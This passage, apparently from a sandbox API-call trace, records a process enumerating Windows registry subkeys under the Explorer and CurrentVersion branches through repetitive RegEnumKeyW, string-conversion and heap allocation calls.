dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x38c240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.354] RegEnumKeyW (in: hKey=0xec, dwIndex=0x29, lpName=0x1d99d18, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x38c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.355] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2a, lpName=0x1d99d18, cchName=0x104 | out: lpName="VBA") returned 0x0 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.355] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2b, lpName=0x1d99d18, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.355] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2c, lpName=0x1d99d18, cchName=0x104 | out: lpName="WAB") returned 0x0 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.355] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.355] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2d, lpName=0x1d99d18, cchName=0x104 | out: lpName="Web Service Providers") returned 0x0 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0030.355] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="web service providers", cchWideChar=21, lpMultiByteStr=0x38c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="web service providers", lpUsedDefaultChar=0x0) returned 21 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.356] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2e, lpName=0x1d99d18, cchName=0x104 | out: lpName="wfs") returned 0x0 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wfs", cchWideChar=3, lpMultiByteStr=0x38c240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wfs", lpUsedDefaultChar=0x0) returned 3 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.356] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2f, lpName=0x1d99d18, cchName=0x104 | out: lpName="Windows") returned 0x0 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.356] RegOpenKeyExW (in: hKey=0xec, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x104) returned 0x0 [0030.356] RegCloseKey (hKey=0xec) returned 0x0 [0030.356] RegEnumKeyW (in: hKey=0x104, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x38c240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0030.356] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.356] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.357] RegOpenKeyExW (in: hKey=0x104, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0xec) returned 0x0 [0030.357] RegCloseKey (hKey=0x104) returned 0x0 [0030.357] RegEnumKeyW (in: hKey=0xec, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.357] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1, lpName=0x1d99d18, cchName=0x104 | out: lpName="Applets") returned 0x0 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x38c240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.357] RegEnumKeyW (in: hKey=0xec, dwIndex=0x2, lpName=0x1d99d18, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x38c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0030.357] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.357] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.358] RegEnumKeyW (in: hKey=0xec, dwIndex=0x3, lpName=0x1d99d18, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.358] RegOpenKeyExW (in: hKey=0xec, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x104) returned 0x0 [0030.358] RegCloseKey (hKey=0xec) returned 0x0 [0030.358] RegEnumKeyW (in: hKey=0x104, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.358] RegEnumKeyW (in: hKey=0x104, dwIndex=0x1, lpName=0x1d99d18, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x38c240, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.358] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.358] RegEnumKeyW (in: hKey=0x104, dwIndex=0x2, lpName=0x1d99d18, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0030.358] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.359] RegEnumKeyW (in: hKey=0x104, dwIndex=0x3, lpName=0x1d99d18, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x38c240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.359] RegEnumKeyW (in: hKey=0x104, dwIndex=0x4, lpName=0x1d99d18, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.359] RegEnumKeyW (in: hKey=0x104, dwIndex=0x5, lpName=0x1d99d18, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x38c240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0030.359] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.359] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.360] RegEnumKeyW (in: hKey=0x104, dwIndex=0x6, lpName=0x1d99d18, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.360] RegEnumKeyW (in: hKey=0x104, dwIndex=0x7, lpName=0x1d99d18, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x38c240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.360] RegEnumKeyW (in: hKey=0x104, dwIndex=0x8, lpName=0x1d99d18, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.360] WideCharToMultiByte (in: 